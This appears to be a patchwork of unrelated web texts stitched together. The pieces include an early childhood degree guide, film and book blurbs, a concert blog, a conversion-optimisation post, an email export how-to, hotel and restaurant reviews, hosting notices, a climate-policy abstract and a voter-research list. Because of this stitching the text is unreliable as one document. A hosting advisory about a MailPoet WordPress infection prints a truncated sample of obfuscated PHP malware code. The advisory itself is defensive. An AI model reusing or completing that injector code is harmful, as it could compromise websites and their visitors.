Online Early Childhood Education Degree Programs Resource
Earning an early childhood education degree will prepare you for a rewarding career teaching young children, ranging in age from birth to eight or nine years old, which is traditionally about 3rd grade. Early childhood educators play a critical role in their students' lives; they lay the foundation for a lifetime love of learning. They may also be expected to identify and instruct children with special needs, learning disabilities or developmental delays. The ideal candidate for an early childhood education job will be service oriented, with good communication and active listening skills. The job requires dependability, integrity and adaptability. Many schools offer an early childhood education degree online, which allow a student to study on their own time and at their own pace, often while maintaining regular employment.
How to Become an Early Childhood Teacher
Each state requires early childhood educators to have a bachelor's degree and certification from a traditional or alternative teacher preparation program, and certification requirements vary from state to state. Some new teachers receive support from a mentoring program during their first year on the job.
Early Education Degree Curriculum
Coursework for a bachelor's degree in early childhood education may include classes in language and literacy, child growth and development, equity and cultural diversity, curriculum design and theories in instruction. Most early childhood education programs will also require some student teaching. The schools featured on Teaching Certification Degrees are all accredited.
Typical classes in a early education degree program may include:
- Introduction to Early Childhood Education
- Language Development in Early Childhood
- Beginning Literacy
- Assessment and Evaluation in Early Childhood Education
- Language Arts and Reading for Early Childhood
- Science for Young Children
- Child Health and Safety
- Student Teaching and Professional Practicum
Early Childhood Education Degrees and Certification
Completing an early childhood education degree program will qualify you to seek a number of positions in both public and private schools. Daycare centers, preschools or kindergartens are the most common places of employment for those with a degree in early childhood education. Salary ranges widely, depending upon what kind of setting an educator works in. The median annual wage for preschool teachers is $23,870, while daycare workers earn a median salary of $33,300. The median annual salary for kindergarten teachers is $50,380.
Bachelor's Degree in Early Childhood Education
A bachelor's degree in early childhood education prepares an instructor to teach small children, including infants and small children up to the third grade. They help children develop social, personal and academic skills to properly prepare them for upper levels of education. These teachers must prepare children for higher educational standards which are constantly changing and improving. These teachers are not only educators, but are also caregivers who care for small children in their parents' absence and must have a natural affection for working with children. Self-motivation, creativity, patience, a love of teaching and the ability to demonstrate cooperation are attributes that complement this career. Teachers learn how to create a safe, educational and caring environment where children are able to maximize potential and achieve or surpass learning milestones and set goals.
Master's Degree in Early Childhood Education
Students graduating with a master's degree in early childhood education are prepared to work as a teacher in elementary school settings, teaching Pre-K through third grade. These candidates will have completed a bachelor's degree, which does not necessarily have to be in an educational field; however, many universities only offer early childhood education degree programs to graduate students who are certified to teach in either elementary or secondary school. Many online degree programs offer master's degrees in early childhood education. An early childhood education career requires a love of learning, a passion for teaching and children, patience to work with small children, and the subject matter knowledge required to complete the coursework and teach at the Pre-K-3 level.
Early Childhood Education Degree Online
Students can also pursue an online degree in early childhood education. An online early childhood education degree program can offer additional flexibility of time and place for individuals who prefer this option. Online education continues to improve with innovations like live streaming virtual classrooms with video conferencing and use of interactive social technologies that allow collaboration and discussion with classmates.

When talking about unhealthy eating, it's difficult to top Five Guys Burgers and Fries. This burger chain is known for their fresh ingredients, simple menu and fatty juicy greasy calorie-laden burgers and fries.
Seven Pounds (2008)
From the very start Seven Pounds (2008) is a complete mystery and that is what makes this such a good film. For that reason, writing a review about it is extremely difficult, because I do not want to spoil the plot for you. Therefore, let me say that if you're looking for a film with a purpose, one that will challenge you sense of what is right and wrong and how we should repay our debts, then Seven Pounds is for you.
Memento (2000)
Every once in a while you'll see a movie that really challenges your perceptions and makes you think. Memento (2000) was one of these rare films. This early work of director Christopher Nolan takes you inside the mind of someone who cannot form new memories as he tries to discover who murdered his wife.
Food Rules
Eating doesn't need to be complicated. In a new 139-page book on what we should eat and how we should eat it, author Michael Pollan challenges us to do what we all know we should do: eat clean, healthy food in its natural form.
A Funny Thing Happened on the Way to the Future
Michael J. Fox's latest book titled A Funny Thing Happened on the Way to the Future weighs in at only 112 pages but the message it carries cannot be measured. Fox has a friendly and often witty style of writing that seems both sincere and profound.
Salesman (1968)
You've probably heard that the oldest profession in the world is sales. Indeed, salesmen have been around forever and while the products and services they offer have certainly changed over the years, the basic approach to closing the deal has remained fairly consistent.
Trust Agents
There are a bunch of good books on the market right now dealing with the social media and "new media" marketing, but most of them pretty much say the same thing.
King Corn (2007)
Want to see a great film about the origin of a major part of our food supply? Check out King Corn. This documentary begins with a simple proposition: let's follow the yield from one acre of corn from the farm to our stomach.
Crush It!
If by now you still haven't heard about this little gem of a book by Gary Vaynerchuk, you're probably either living under a rock or your idea of a perfect social networking website starts with a my and ends with a space. For the rest of us who are even remotely interested in Web 2.0 and social media in particular, Crush It! offers just the type of spark needed for the average enthusiast to engage their target market in the best way possible and he does it little over 140 pages.

Meus agradecimentos aos leitores deste pedacinho na net.
Fotos dos concertos do Il Divo, feitas por Lú Ribeiro, em Genebra, Zurique, Madri e Lisboa.
Com Il Divo em Genebra, Madri e Lisboa, na última fase da turnê do grupo na Europa Ocidental. Fantástico!!
Last night I did my duties as a good son and took my mum and her friend to see Il Divo at the Odyssey Arena. I was slightly naughty however as I didn't tell them we were sitting right in the centre of the front row, can you imagine the excitement of 2 mature women sitting on the front row only 10 feet away from 4 hot men…..they were ready to throw their knickers on stage! Lucky they didn't, as they admitted themselves that it would be like parachutes landing…ooooh, way to much information.
I've only ever sat front row at 2 concerts before and they were both cringeworthy experiences, but this was entirely different. We actually felt like it was an exclusive private intimate show put on just for us.
I was there pretty much surrounded by screaming women blowing kisses, holding up Kiss signs and throwing skimpy knickers on stage….and the boys loved it. At one point Carlos and Urs were laughing so much they almost forgot to sing. And what singing it was as well!
They described themselves as half way between pop and opera with a bit of show tune thrown in for good measure as they worked their way through their albums, singing and making the girls scream.
All of us nutters on the front 2 rows just had a laugh and the boys joined in the fun, which was a refreshing change from some of the shows we've seen, where they come on stage and barely even acknowledge they are in Belfast.
So big thanks go out to Urs (the Swiss one), Sebastien (the French one), Carlos (the Spanish one) and David (the American one) for giving us a special, funny and memorable night out.

Budget for Conversion Rate Optimization Success – Part 1
Posted By Marijayne Bushey On January 12, 2011 @ 6:30 pm In Advertising,Management,Marketing 2.0 / Web 2.0,Marketing Budget,Planning Tools,Website Optimization | 7 Comments
[1]Back in 2010 (ok, so it was only 4 weeks ago) I blogged about why CRO deserves a line item in your 2011 budget [2]. But just how much should you budget for quality direction? Are there "hidden" costs you should be aware of? Choosing something on your site to test, running that test, and then moving on to the next item may sound simple, but there are all kinds of things that can happen along the way to derail you. To be successful you need to ensure that you have the right combination of mindset, organizational structure, and budget.
So you spent an entire year working on your CMO, CTO, and CEO to convince them that the mish-mash, willy-nilly marketing approach wasn't working, and that you needed an accountable approach for making your website better [3]. That time investment in company leadership came in quite handy when you shifted your focus to cleaning up the slew of organizational barriers to CRO success [4], since those main players greased the wheels with other key company staff to help you overcome those. Now, after a year and a half, you can finally say that your company as a whole…
Company mindset? Check. Organizational barriers? Check. But do you really want to screw it all up with your unrealistic budget expectations?
Budgeting for Conversion Rate Optimization is an essential step in your strategy to make your website and marketing better. Your budget has to cover optimization for the full range of marketing you are doing, and the hidden costs of optimization, or it will fail… and take you down with it. Any CRO program comes with both direct costs and indirect costs, and estimating those is not always as easy as it seems.
The main cost people think of when they are considering doing CRO is the cost of getting expert conversion advice. The primary factor underpinning what you should budget for comprehensive Conversion Rate Optimization advice is how much marketing you have to optimize. There are several factors to consider when it comes to determining the scale of your current marketing:
1) Number of marketing channels you're playing in at any one time – Think about the channels you engage in and make a running count of them. Your website counts as one. SEO efforts, PPC or Social Media each count as one. Higher numbers here mean more conversion pathways (the click-by-click path your visitors follow, all the way from search engine results to landing page, to the cart or "contact us" form) to optimize. Your bottom line reflects the sum of all these little conversion rates. The more of them you have to impact, the more work will be involved. That's more time and effort for analysts, and an increase in the direct cost you can expect to pay for CRO insight or guidance.
2) Speed/frequency at which you shift marketing focus – Within each channel category you listed, tally up the number of campaigns you run on a monthly basis. You can use this information in two ways…. 1) By comparing the total number of campaigns you do each month in one channel versus the total number you do in another channel, you can get some sense for where your current marketing focus is; 2) By totaling the number of campaigns across all channels, and then dividing by the total number of channels, you can get some sense for how quickly you shift your marketing focus as a whole. The higher the numbers in either one of these areas, the more budget you will need to invest in CRO. Optimization efforts will need to keep pace with your marketing speed. Why? You guessed it: Quicker marketing pace means more conversion pathways to juggle, more data to analyze, and more time and energy for your analysts.
3) Current monthly marketing budget – This is possibly my favorite of all the factors. The longer we're in the business, the stronger my belief that this may be the single biggest predictor of what you need to spend on CRO to do the job right. Why? Because all those other factors on the list cost you something, whether it's a line item on your budget or rolled into your company's operating expenses, and that cost is proportional to the scale of your existing marketing efforts. If you spend $40k/month on PPC, what does that get you? It gets you a whole lot of keywords (ie. more conversion pathways) or some pretty competitive keywords (ie. trickier optimization of conversion pathways). Is it reasonable to expect that expert advice about how to optimize those conversion pathways will cost you $1,000/month? That's only 2.5% of your PPC budget; include salaries of internal staff or consultants, and that percentage goes down even further. That amount of money isn't really on par with the scope of marketing you have going on. Ditto for all the money you pay to your advertising agency for the ads they generate for you. What's more realistic? Budget somewhere around 10% of your current monthly marketing spend for CRO. Again, don't forget about the "hidden" costs of all the things you do internally, like salaries for dedicated marketing, copywriting, design and development staff.
Now you have something to think about when it comes to how to account for the direct costs involved in your CRO program. Crunch those numbers this evening, and get a sense for what you should be paying for comprehensive CRO advice. Tomorrow, in Part 2 of this article [5], we'll cover other costs you should be prepared for when doing CRO, and the ramifications of not budgeting accordingly…

Now I am convinced. I dont know why you are psychologically impaired. But you are a psychologically impaired person with good flash skills.
Really liked the irony and joke on everything on that movie, but u know, when it got too much, it became boring and...seriously....stupid.
Anyways, ok work, and make more blockbuster flash movie...

This week I'm writing in response to an email I received from Jean. A reader of this column. I believe it's a she, could be a he, wrote in to ask "How can I print a list of my email addresses in a concise format–just the name and email address printed one right below the other?". Ok, Jean that's a good question and not a difficult one to answer. However, with a lack of a few details I'm going to assume that you're using Microsoft's Outlook Express as it is the most commonly used email client available. Personally I prefer Mozilla Thunderbird but that is for another column. Since I'll be focusing this answer on MS Outlook Express, these directions may not be exact for users of other email clients. However, the procedure is generally the same. The brief scenario goes something like Open Email Client -> Open Address Book -> Export -> Choose file format and save location -> Choose what to export -> Save the file. Then you would open it in another program to print it. I'm also going to assume that you have Microsoft Excel installed on your computer. Any spreadsheet application will do just fine and if you don't have one installed you may want to look at http://openoffice.org. It's a FREE MS compatible office suite.
Alright, now that my assumptions are clear let's get started. Open Microsoft Outlook Express. Go to Tools -> Address Book. Now that you're in the address book go to File -> Export -> Other Address… Book. We're using the Other Address Book because it provides more flexibility. Now a wizard will open and you'll need to highlight "Text File (Comma Separated Values)" and click "Export". It will then ask you "Save exported file as" go ahead a click "Browse" in the "Save in" portion select "Desktop" from the drop-down menu. In the "Save as type:" drop down menu choose "Comma Separated Values(*.csv)" and in "File name:" name it "addresses". Then click "Save". This will take you back to the wizard. Click "Next". Here you'll be able to choose the information that you want to save. In your case you would just like to have the person's name and email address so click just those two choices. The click "Finish". You should now have a file on your desktop titled addresses.csv that contains a list of names and their email addresses. So how do we open and print that list?
We will use Microsoft's Excel to open the list. Just open Excel and go to File -> Open. Select the Desktop -> addresses.csv. It may ask you about formating. The defaults should be fine so if asked just click ok. You should now be looking at a list of names and email addresses that you can print.
I hope this helps Jean, and anyone else that was looking to do something similar. These directions may not fit your situation exactly but should get you going in the right direction.

Ladies and Gents; every anime opening ever.
Sousuke Aizen cosplay for a superhero clubnight way back when in notts, found it stashed in my cupboard the other night, and I didn't have anything better to do at 4am.
(I realize there aren't any diamond markings along the bottom of the coat, but after about 30 hours stitching up some hakama I was loath to touch a single yard more of twine.)
Cosplay houseparty on thursdayayayay
Taking fairly large chunks of time out of my uni work schedule to get a Sosuke Aizen costume sorted for it. So far I've altered and pinned the white hem in the kimono (bathrobe) and taken the pocket off a long labcoat to make the captain's cloak. Tomorrow I'll be making the pattern for the hakama and knocking that up, and try to figure out how to get around storage of items for the night out. I'm thinking of making the hakama buttonable, with a belt threaded through the waistband to keep it all up, but able to come apart fairly quickly when I need stuff in my pockets. Sewing the pockets back on the labcoat on the inside will help too, for things like fags and loose change.
Exciting stuff.
More bleach, some crazy bitch on a unicorn, female figure studies, a weird-ass link etc.
Someone buy me a scanner, PUHLEEAAAZ.

We felt the staff were really nice, helpful and polite, the hotel was lovely and clean, the breakfast choices were fab, dinner in the evening was lovely home cooked food. Location good for York, for us a stroll of 15 minuites into centre. Bus stop right outside. Room tidied daily and clean towels daily.
We felt that our double bedroom although adequate and clean had been a single before, we found a hidden wall mounted radio behind the headboard and every time we turned in bed it would bang on the radio, also only one plug available in the bedroom , and this was used for the kettle.
excellent evening dinner, freshly prepared, cooked and with locally supplied fresh produce pleasantly served to table.
toiletries were poor, couldn't open the shampoo sachets.
We were made very welcome on arrival, all the staff are very friendly and helpful. Excellent food breakfast and dinner,nice clean rooms.we are sure we will be staying at Colgate hill hotel again in the near future.
Excellent friendly staff,great location
Room was a bit too warm,very small bathroom
Good size room Comfortable bed Easy walk to city centre Near station Good breakfast - lots of choice Helpful staff Pretty patio with seating
York hotels in general are expensive Evening restaurant was not used by anyone whilst we were there Carpet a bit grubby & tired
We stayed here for weekend break. Would definitely go back. Wonderful friendly staff hospitality service food stayed in delightful 4 poster bed room :-)
This amenity was close to York City Centre, also reasonable parking facilities off road. Public transport, shops and other facilities were also close to the Hotel.
Room décor slightly outdated, noise from upper floor occupants was disrupting at times.
location friendliness of staff food
it is easy to find it is in a pleasant area the Volunteer Arms is nearby it is a pleasant walk into town breakfast was very good
it was a bit dear for the room we got the walk into town wouldn't suit people with mobility issues and would be long for children the parking was full
Easy to find Parking Friendly staff Good Breakfast Ample single Room
All it's a ideal place back there again soon
Clean rooms and about a mile from the centre makes it an easy walk to the city attractions.
Meals, the location, the staff and easy parking.
Friendly helpful staff Fresh & clean throughout the building. Parking facility Excellent breakfast. Would be happy to come and stay again.
Sorry but I can't think of anything.
Room spacious ( room 11) comfortable. Friendly & helpful staff. Nice breakfast. Easy walk to racecourse & York centre
Friendly staff Good choice for breakfast which was cooked to order Lovely garden to sit out in (we had the week of hot sunshine!) Decent size kettle and there was also fresh coffee and a cafetiere
Room 15 was upstairs, then a giant step and then downstairs - but we had asked for a quiet rom and it was.
The food was fresh the bar well stocked, the staff were more than willing to assist where they could. For the price you had nothing to grumble about.
How nice and clean it eas
Toilet was to compact very closed in
Really nice hotel, good amenities in the room. Clean and comfortable. Perfect for my overnight stay.
very clean,friendly staff,bus stop right outside 5 mins to York centre.
off street parking, free wifi, on site excellent meals, friendly staff,
room very small, awkward getting to room as recarpeting
Warm, clean, well decorated, NOT frayed at edges, comfy bed - everything that I wanted - they even let me leave my car outside so I didnt have to pay the high parking charges in the city even though I wasnt staying a second night.
Cant think of anything
-Location was within ten minutes walk of the train station and 15 minutes to the centre of town. -Four-poster bedroom was large, airy and very clean, the ensuite was also spacious with bath and seperate shower. -Delicious, quick breakfast with plenty of choice -Very friendly staff who were extremely helpful, particularly when we were locked out of the hotel in the early hours of the morning -Good to have access to the hotel after 12midnight by a front door key (as long as the previous guest doesn't double lock the door behind them!)
-There were a few hairs and other bits and bobs on the ensuite floor and bath, although not a major complaint -Not a direct complaint with regard to this hotel but a general disagreement with the high nightly rates across York. In comparison to other York hotels, Holgate Hill Hotel was very reasonable considering the space, level of service and avaiable facilities.
Location. Welcome. Friendly helpful staff. Tablecloths in dining room. Breakfast perfectly cooked to order. Fresh flowers inside and outside.. Quiet mature garden area. Hospitality tray with cafetiere!
Beds would benefit from an upgrade but clean and adequate.
Location, comfortable beds, friendly staff
Breakfast wasn't great

"Amex cardholders first sync their card with Twitter. Then, when they come across products that are eligible to purchase under the plan -- products that American Express will promote through a Twitter feed -- they simply send out a tweet that includes a special hashtag. Amex will then send them an @-reply with a confirming hashtag. Finally, the buyer has to send out a second tweet with the special hashtag within 15 minutes."So this is the equivalent to the rebate cards of old? No thanks. Make it automatic if it's going to happen at all.
Why on earth would anyone, anywhere, ever do this.I think this is the closest I've ever come to opening up the comments, intending to post something, and seeing that the very first comment was exactly word for word what I intended to comment.

Review: Flor De Mayo (Peruvian and Chinese Cuisine)
Address: 484 Amsterdam Ave (between W83rd- W84th Street), New York, NY, 10024
Prices: $11-30 per person
August 31, 2013.
After our long and precious visit to the MAC store, my friend Stella and I decided to celebrate (and show off our makeup) by going to a restaurant for lunch. We chose Flor De Mayo because it was in the vicinity and met my desire for latin food. It was a Saturday afternoon and surprisingly we did not see too many people in the place. The numerous busboys, who all lonesomely stood in front of the entrance, greeted us with smiles and helped us to a table near the window. I never know how I feel about window seats. They are interesting if you want to look out the window or have a private conversation with your date, but since I wanted to get a sense of the restaurant, I would have preferred a seat in the middle.
Upon getting the menu, I noticed that everything was written not only in English, but Spanish and Chinese. It was so odd to see Chinese in a Peruvian restaurant. Apparently, the restaurant is a mix of both Peruvian and Chinese cuisines, which is SO NEAT! I never had Peruvian, let alone a combination of Peruvian and Chinese.
Stella and I both ordered the Peruvian Special: Lomo Saltado. This is the first time I ordered a dish based on good online reviews. I usually order what I think sounds good and hope for the best. This time, I decided to try something less spontaneous and ordered something that was on everyone's top list.
The Lomo Saltado is sliced meat sautéed with tomatoes, french fries, and onions served on rice. The drink that I got with this meal was a Shirley Temple. I really liked this dish. This is the first time I had french fries with rice, and I must say, it was a perfect combination of carbs. There was a bit of sweetness, saltiness, and sourness in the dish. The tomatoes and meat were slightly sour, the french fries were slightly salty, and the onions were slightly sweet. As you can imagine, the rice was needed. This explosion of flavors was counterbalanced by the white rice. If you do not order rice, then make sure to drink water in order to cleanse your palate before every bite in order to really get the richness of this entree.
The meal was so carby that I had to take 1/3rd of it home with me. I had a great experience with Stella. I wish to go there again and order something different and hopefully something AS wonderful.

Malware Infection Breaking WordPress Websites
There is a known malware infection caused by a serious vulnerability in the MailPoet WordPress plugin. This malicious attack attempts to slyly inject Spam into the hacked site, which is causing websites to break, and focuses predominantly on WordPress sites with outdated plugins or weak admin passwords.
What It Looks Like
The infected PHP code is very buggy and is corrupting legitimate website files, as well as themes and plugin files, which causes PHP errors to be displayed instead of website content:
Parse error: syntax error, unexpected ')' in /home/user/public_html/site/wp-config.php on line 91
After removing the infecting malware, the only way to remedy the issues is to restore the corrupted files from a backup. This is what the malware code looks like:
< ?php $pblquldqei = '5c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j^%xq%x5c%x7825%x5?c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q7825)3?of:opjudovg< ~%x5c%x7824!%x5c%x782421787825!|!*!***b%x5c%x7825)…
If you are running MailPoet, we recommend upgrading it to the latest version. If you do not have a firewall on your website, you have to upgrade the plugin or remove it altogether to avoid more issues.
If you aren't able to fix the issue on your end, please don't hesitate to contact Support. We're happy to help.

Get .uk Domains For Only $15 A Year!
We are excited to announce that starting June 10th 2014 you can register .uk domains for just $15 a year!
Here's what you need to know about the registration process:
- If you have a unique .co.uk, .org.uk, or other similar domain, the equivalent .uk domain will be automatically reserved for you until June 10, 2019, as long as the domain remains registered.
- You can check a registrant's rights with this handy lookup tool:
- If you want to register a 2nd level .uk domain, such as 'example.uk', then the contact info for that domain must be an exact match to the existing equivalent third level .uk domain, like 'example.co.uk' or 'example.org.uk'. If the information is not the same the registration will fail.
- If there is no equivalent domain with rights already existing within the .uk domain family, by registering the .co.uk you will automatically have the right to register the new .uk domain.
Note: if your third level .uk domain name resides at a registrar other than OpenSRS, Nominet will email the registrant to confirm the registration.
We think this new easier-to-use domain extension is a great addition to our current offerings and we're pleased to be able to offer it to you! Please contact our Billing department for assistance with registering a new domain name, or if you have any questions regarding the registration process.

Starting in January, the registrant contact will need to be validated upon the purchase or transfer of a domain name or if the registrant's first name or last name has been modified.
Should any of these occur, OpenSRS , our registrar, will send an email requiring an affirmative response from the registrant. Failing to receive an affirmative response from the registrant within 15 days will result in the suspension of the name. This means that the domain (and any related services) will be offline.
If a registrant has already validated their contact information, this process will not be initiated.
The same validation process will take place if a WHOIS Data Reminder Policy (WDRP) notice, 30 day expiration notice or 5 day expiration notice bounces. It is extremely important to ensure the WHOIS data that you provide for your domain is correct.
ICANN now requires that we list the following new pieces of information on your website:
• ICANN's Registrant's Benefits and Responsibilities
• ICANN's site for registrant education
We hope that these changes in ICANN policy will have little effect on the ease in which you are able to order domain registrations or transfers. If you need assistance, or have any questions or concerns, contact Cirtex billing here, and HostV billing here.

How to Clean Up Spilled Laundry Detergent
Ironically, cleaning items can cause messes of their own. If you've accidentally spilled the laundry detergent, here is what to do; just don't leave it!
1Vacuum up powdered laundry detergent. This is an effective and fast way to catch most of it. If needed, you might have to move the washing machine or use a narrow nozzle to reach under it.
- detergent on the floor. It can make the floor slippery, and infants and pets might be tempted to eat it.
2Wipe up liquid laundry detergent. It is very sticky and will leave a slippery and sticky residue on the floor if not wiped up. This residue will also act as a dust and fluff magnet, so remove it as quickly as possible by using kitchen paper towels or rags.
3Run a mop over the floor if the space still feels sticky or dirty. This can also remove any mess made during the clean up.
4Check any other areas that the detergent may have fallen into or onto, such as a bench, inside machines, on other cleaning equipment, etc., and wipe off and sweep up.
5Consider storing the laundry detergent in a place where it will be less likely to spill. There is a range of suitable laundry detergent containers on the market that can hide the less pretty boxes and make your laundry neater and safer.Ad

Allowing for Household Preferences in Emission Trading - A Contribution to the Climate Policy Debate
AbstractIn the context of emission trading it seems to be taken as given that people's preferences can be ignored with respect to the whole process of fixing emission targets and allocating emission permits to polluters. With this paper we want to reopen the debate on how citizens can be involved in this process. We try to show how citizen preferences can be included in the process of pollution control through emission trading. We propose an emission trading system where all emission permits are initially allocated to households who are then allowed to sell them in the permit market or to withhold (at least some of) them in order to reduce total pollution. This proposal tries to overcome the fundamental disadvantage of traditional permit systems which neglect consumer preferences by solely distributing emission permits to producers/polluters. In our system the property right to nature is re-allocated to the households who obtain the opportunity of reducing actual emissions according to their personal preferences by withholding a part or all of the emission permits allotted to them. Such a change in environmental policy would mark a return to the traditional principles of consumer sovereignty by involving households (at least partially) in the social abatement decision process instead of excluding them. Another advantage of admitting households to the TEP market as sellers or buyers of permits is that this increases the number of agents in the permit market and thus significantly reduces the possibilities of strategic market manipulations.

Recognising that innovation is often erroneously conflated with technology in the arts, festivalslab again looked at social innovation for innovation processing and thinking that worked. One that stood out was the discipline of service design – which is being used increasingly by local government and the voluntary sector to create effective, value-for-money public services that are not only people-oriented but designed with and by them.
With the aim of practical outputs that anyone in across the Festivals could use festivalslab commissioned Scottish design agency Snook to create a set of practical tools and methods for the festival community the results of which is collectively called Festival Design DNA.
Festival Design DNA contains a full end-to-end methodology of how to use design thinking and design tools all the way from coming up with ideas for innovation projects all the way to delivery and embedding them within your organisation.

Bird of the Week, July 5, 2013, Saltmarsh Sparrow
You wouldn't think that a little brown sparrow and a huge white polar bear had anything in common—but both species are in danger of disappearing because of climate change. Because the Saltmarsh Sparrow depends exclusively on saltmarsh, it could disappear, along with the habitat, if sea levels continue to rise.
Aside from sea level rise, the Saltmarsh Sparrow is threatened by development and diking of its habitat; habitat degradation from chemical spills and other pollutants; and invasive species (particularly Phragmites, an introduced reed which makes the bird's habitat completely unsuitable).
One important conservation measure for this species would be to identify and protect large areas of saltmarsh along the Atlantic Coast, especially where this habitat could move inland should the climate change. The Saltmarsh Sparrow does occur within a number of protected areas supporting coastal habitat, and restoration of tidal marshes is ongoing.
You can help the Saltmarsh Sparrow by joining our Spring 2013 Fundraising Challenge. We urgently need your support to conserve coastal marshes and other critical bird habitats.

Should defense contractors warn workers?
A-T Solutions is one of the Fredericksburg area defense contractors that could be affected by sequestration.
Visit the Photo Place
Since sequestration isn't a sure thing, the Department of Labor opined this summer that federal contractors should not give WARN notices to employees "because of uncertainty about whether sequestration will occur and, if it did, what effect it would have on particular contracts," according to the OMB memo.
"In reaching this conclusion, DOL explained that giving notice in these circumstances would waste States' resources in undertaking employment assistance activities where none are needed and create unnecessary anxiety and uncertainty for workers," the memo said.
Apparently, though, some contractors have said they're still considering issuing WARN notices and asked whether federal agencies would cover costs related to sequestration.
The OMB memo is intended to answer that. It says if sequestration cuts happen and contracts are changed so that contractors must lay off workers in such a way that they should have been subject to the WARN act, and if contractors have up until then acted under the DOL's guidance in not issuing WARN notices, then contracting agencies would likely pay employee compensation and attorney fees if the contractor was sued by employees.
Republicans say that's nothing but pure politics, intended to prevent a sea of pink slips from going out right before President Barack Obama hopes to be reelected.
"For an administration that talks a lot about transparency, it is disappointing that they apparently think it is more important to protect their political interests than give hard working families any indication that they might in fact lose their job in 60 to 90 days due to inaction by the President and Senate Democrats," said House Majority Leader Rep. Eric Cantor, R-7th, in a written statement.
South Carolina Republican Senator Lindsey Graham told Politico that the OMB's promise to cover legal costs was purely political and in no way binding on Congress.
"They fail to issue these notices at their own peril. I hope they get sued," Graham told Politico. "There will be absolutely no way Congress will reimburse any contractor one penny if they find themselves in litigation. By not issuing the notices, they're on their own."

Voter Turnout Academic Articles
The voter turnout rates presented on this website have undergone rigorous peer-review and have been published in the top political science journals, including the discipline's top journal, the American Political Science Review.
Memo on Florida Voter Registration Address Errors - an analysis of address errors on Florida's voter registration file that disproportionately occur among registered African-Americans. This analysis was conducted during the 2008 primary when discussions were underway to hold an all-mail "do over" Florida Democratic primary election.
Analysis Finds Serious Flaws With New Jersey Voter Fraud Report - A report with the Brennan Center for Justice at New York University that analyzes vote fraud claims in New Jersey. The statistical issues surrounding name matching rasied in this report were later published as "Seeing Double Voting: An Extension of the Birthday Problem." (with Justin Levitt). 2008. Election Law Journal 7(2): 111-22. This research was cited by a report issued by the National Academy of Sciences on State Voter Registration Databases.
Report on the 2004 Election Day Survey to the Election Assistance Commission - The first comprehensive federal survey of election administration in the United States. The Survey was conducted by the United States Election Assistance Commission and the report was written by Kim Brace of Election Data Services and Dr. McDonald.
Critique of the Berkeley Voting Study - In 2004, a group of Berkeley sociology graduate students under the tutelage of a sociology professor (with no training in the study of elections) made claims of election fraud in Florida that allegedly handed George Bush the election. This is a compilation of critqiues by numerous political scientists who are experts in elections, some of whom publicly support Democrats.

Is Voter Registration Up Everywhere in America? - A Brookings report on aggregate registration statistics (1996-2004) plus selected demographics of registration from the 2002 Current Population Survey. The report demonstrates how the number of people who say they are registered is much smaller than actual registration statistics, most likely due to the presence of deadwood on the voter registration files.
California 2003 Recall Pre-Election Turnout Prediction - An analysis of early voting pre-election rates that demonstrates the accuracy of early voting to forecast election day turnout. This technique is now used regularly to forecast election day turnout.
